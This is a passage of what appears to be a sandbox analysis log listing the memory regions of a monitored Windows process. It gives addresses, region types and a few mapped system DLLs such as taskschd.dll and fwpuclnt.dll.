0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1579 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1580 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1581 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1582 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 1583 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1584 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1585 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1586 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1587 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 1588 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1589 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1590 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1591 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1592 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 1593 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1594 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1595 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1596 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1597 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 1598 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1599 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1600 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1601 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1602 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1603 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 1604 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1605 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1606 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1607 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1608 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 1609 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1610 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1611 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1612 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1613 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 1614 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1615 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1616 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1617 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1618 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1619 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 1620 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1621 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1622 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1623 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1624 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 1625 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1626 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1627 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1628 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1629 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 1630 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1631 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1632 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1633 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 1634 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1635 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1636 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1637 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1638 start_va = 0x7ffd4c100000 end_va = 0x7ffd4c133fff monitored = 0 entry_point = 0x7ffd4c11ae70 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1639 start_va = 0x7ffd366c0000 end_va = 0x7ffd3675bfff monitored = 0 entry_point = 0x7ffd367196a0 region_type = mapped_file name = "efswrt.dll" filename = "\\Windows\\System32\\efswrt.dll" (normalized: "c:\\windows\\system32\\efswrt.dll") Region: id = 1640 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 1641 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1642 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1643 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1644 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1645 start_va = 0x131f0000 end_va = 0x1326ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000131f0000" filename = "" Region: id = 1646 start_va = 0x7ffd492b0000 end_va = 0x7ffd4936efff monitored = 0 entry_point = 0x7ffd492d1c50 region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 1647 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 1648 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1649 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1650 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1651 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1652 start_va = 0x7ffd493a0000 end_va = 0x7ffd493d5fff monitored = 0 entry_point = 0x7ffd493b0070 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 2138 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 2139 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 2140 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2141 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2142 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 2143 start_va = 0xb5d0000 end_va = 0xbac2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b5d0000" filename = "" Region: id = 2144 start_va = 0x2270000 end_va = 0x2271fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 2145 start_va = 0x4340000 end_va = 0x4361fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 2146 start_va = 0x4d90000 end_va = 0x4daffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004d90000" filename = "" Region: id = 2147 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2148 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2149 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 2150 start_va = 0xded0000 end_va = 0xe3c1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000ded0000" filename = "" Region: id = 2151 start_va = 0x7ffd3afb0000 end_va = 0x7ffd3b063fff monitored = 0 entry_point = 0x7ffd3afc53b0 region_type = mapped_file name = "windows.internal.shell.broker.dll" filename = "\\Windows\\System32\\Windows.Internal.Shell.Broker.dll" (normalized: "c:\\windows\\system32\\windows.internal.shell.broker.dll") Region: id = 2152 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 2153 start_va = 0x7ff6a4680000 end_va = 0x7ff6a4e4bfff monitored = 0 entry_point = 0x7ff6a4a19010 region_type = mapped_file name = "ntoskrnl.exe" filename = "\\Windows\\System32\\ntoskrnl.exe" (normalized: "c:\\windows\\system32\\ntoskrnl.exe") Region: id = 2154 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2155 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2156 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 2157 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 2158 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2159 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2160 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 2161 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 2162 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2163 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2164 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2165 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 2166 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 2167 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2168 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2169 start_va = 0x7ffd44b30000 end_va = 0x7ffd44b44fff monitored = 0 entry_point = 0x7ffd44b32dc0 region_type = mapped_file name = "ondemandconnroutehelper.dll" filename = "\\Windows\\System32\\OnDemandConnRouteHelper.dll" (normalized: "c:\\windows\\system32\\ondemandconnroutehelper.dll") Region: id = 2170 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 2171 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 2172 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2173 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2174 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2175 start_va = 0x7ffd45440000 end_va = 0x7ffd454a6fff monitored = 0 entry_point = 0x7ffd454463e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 2176 start_va = 0x420000 end_va = 0x421fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 2177 start_va = 0x2270000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 2178 start_va = 0x4340000 end_va = 0x4361fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 2179 start_va = 0x4d90000 end_va = 0x4daffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004d90000" filename = "" Region: id = 2180 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 2181 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 2182 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 2183 start_va = 0x4c50000 end_va = 0x4c50fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004c50000" filename = "" Region: id = 2184 start_va = 0xb3d0000 end_va = 0xb4c9fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000b3d0000" filename = "" Region: id = 2185 start_va = 0x4d90000 end_va = 0x4d90fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004d90000" filename = "" Region: id = 2186 start_va = 0x2270000 end_va = 0x2270fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 2187 start_va = 0x2270000 end_va = 0x2270fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 2188 start_va = 0x2270000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 2189 start_va = 0x4d90000 end_va = 0x4daffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004d90000" filename = "" Region: id = 2190 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 2191 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 2192 start_va = 0x2270000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 2193 start_va = 0x4d90000 end_va = 0x4daffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004d90000" filename = "" Region: id = 2194 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 2195 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 2196 start_va = 0x2270000 end_va = 0x2270fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 2197 start_va = 0x2270000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 2198 start_va = 0x4d90000 end_va = 0x4daffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004d90000" filename = "" Region: id = 2199 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 2200 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 2201 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 2202 start_va = 0x2270000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 2203 start_va = 0x4d90000 end_va = 0x4daffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004d90000" filename = "" Region: id = 2204 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 2205 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 2206 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 2207 start_va = 0x4c50000 end_va = 0x4c50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004c50000" filename = "" Region: id = 2208 start_va = 0x2270000 end_va = 0x2270fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 2209 start_va = 0x2270000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 2210 start_va = 0x4d90000 end_va = 0x4daffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004d90000" filename = "" Region: id = 2211 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 2212 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 2213 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 2214 start_va = 0x2270000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 2215 start_va = 0x4d90000 end_va = 0x4daffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004d90000" filename = "" Region: id = 2216 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 2217 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 2218 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 2219 start_va = 0x4c50000 end_va = 0x4c50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004c50000" filename = "" Region: id = 2220 start_va = 0x2270000 end_va = 0x2270fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 2221 start_va = 0x2270000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 2222 start_va = 0x4d90000 end_va = 0x4daffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004d90000" filename = "" Region: id = 2223 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 2224 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 2225 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 2226 start_va = 0x2270000 end_va = 0x2270fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 2227 start_va = 0x2270000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 2228 start_va = 0x4d90000 end_va = 0x4daffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004d90000" filename = "" Region: id = 2229 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 2230 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 2231 start_va = 0x2270000 end_va = 0x2270fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 2232 start_va = 0x2270000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 2233 start_va = 0x4d90000 end_va = 0x4daffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004d90000" filename = "" Region: id = 2234 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 2235 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 2238 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 2239 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 2240 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2241 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2242 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2243 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 2244 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 2245 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2246 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2247 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2248 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 2249 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 2250 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2251 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2252 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2253 start_va = 0x400000 end_va = 0x40ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 2254 start_va = 0x4340000 end_va = 0x435ffff 